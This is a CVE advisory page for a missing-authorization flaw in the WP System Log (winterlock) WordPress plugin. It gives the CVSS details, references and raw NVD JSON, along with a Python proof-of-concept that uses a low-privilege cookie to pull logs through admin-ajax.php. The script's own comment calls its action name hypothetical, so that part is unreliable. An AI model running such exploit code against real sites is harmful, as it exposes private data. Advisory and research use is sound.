CVE-2026-24987

Description

Missing Authorization vulnerability in activity-log.com WP System Log winterlock allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects WP System Log: from n/a through <= 1.2.7.

CVSS Details

CVSS Score

6.5

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

No configuration data available.

WP System Log <= 1.2.7

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

# Exploit Title: WP System Log < 1.2.7 - Missing Authorization PoC
# Date: 2026-03-25
# Exploit Author: Researcher
# Vendor Homepage: activity-log.com
# Software Link: https://wordpress.org/plugins/winterlock/
# Version: <= 1.2.7

import requests

def exploit(target_url, cookie):
    """
    Exploits Missing Authorization to access sensitive logs.
    """
    # The endpoint vulnerable to missing auth check
    url = f"{target_url}/wp-admin/admin-ajax.php"
    
    # Payload to trigger the log export/view action
    data = {
        "action": "winterlock_export_logs", # Hypothetical action name based on plugin structure
        "nonce": "" # Often bypassed in IDOR/Auth bugs
    }
    
    headers = {
        "Cookie": cookie
    }
    
    try:
        response = requests.post(url, data=data, headers=headers, timeout=10)
        if response.status_code == 200 and "log" in response.text.lower():
            print("[+] Exploit successful! Sensitive data retrieved.")
            print(response.text[:500]) # Print snippet
        else:
            print("[-] Exploit failed or target not vulnerable.")
    except Exception as e:
        print(f"[!] Error: {e}")

if __name__ == "__main__":
    target = "http://example.com"
    # Cookie of a low-privileged user (subscriber)
    user_cookie = "wordpress_logged_in_12345=user_login|token|signature" 
    exploit(target, user_cookie)

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-24987
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-24987
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-24987/
[4] VulDB https://vuldb.com/cve/CVE-2026-24987
[5] https://patchstack.com/database/Wordpress/Plugin/winterlock/vulnerability/wordpress-wp-system-log-plugin-1-2-7-broken-access-control-vulnerability?_s_id=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-24987", "sourceIdentifier": "[email protected]", "published": "2026-03-25T17:16:40.873", "lastModified": "2026-04-28T16:16:08.847", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Missing Authorization vulnerability in activity-log.com WP System Log winterlock allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects WP System Log: from n/a through <= 1.2.7."}, {"lang": "es", "value": "Vulnerabilidad de autorización faltante en activity-log.com WP System Log winterlock permite la explotación de niveles de seguridad de control de acceso configurados incorrectamente. Este problema afecta a WP System Log: desde n/a hasta <= 1.2.7."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/winterlock/vulnerability/wordpress-wp-system-log-plugin-1-2-7-broken-access-control-vulnerability?_s_id=cve", "source": "[email protected]"}]}}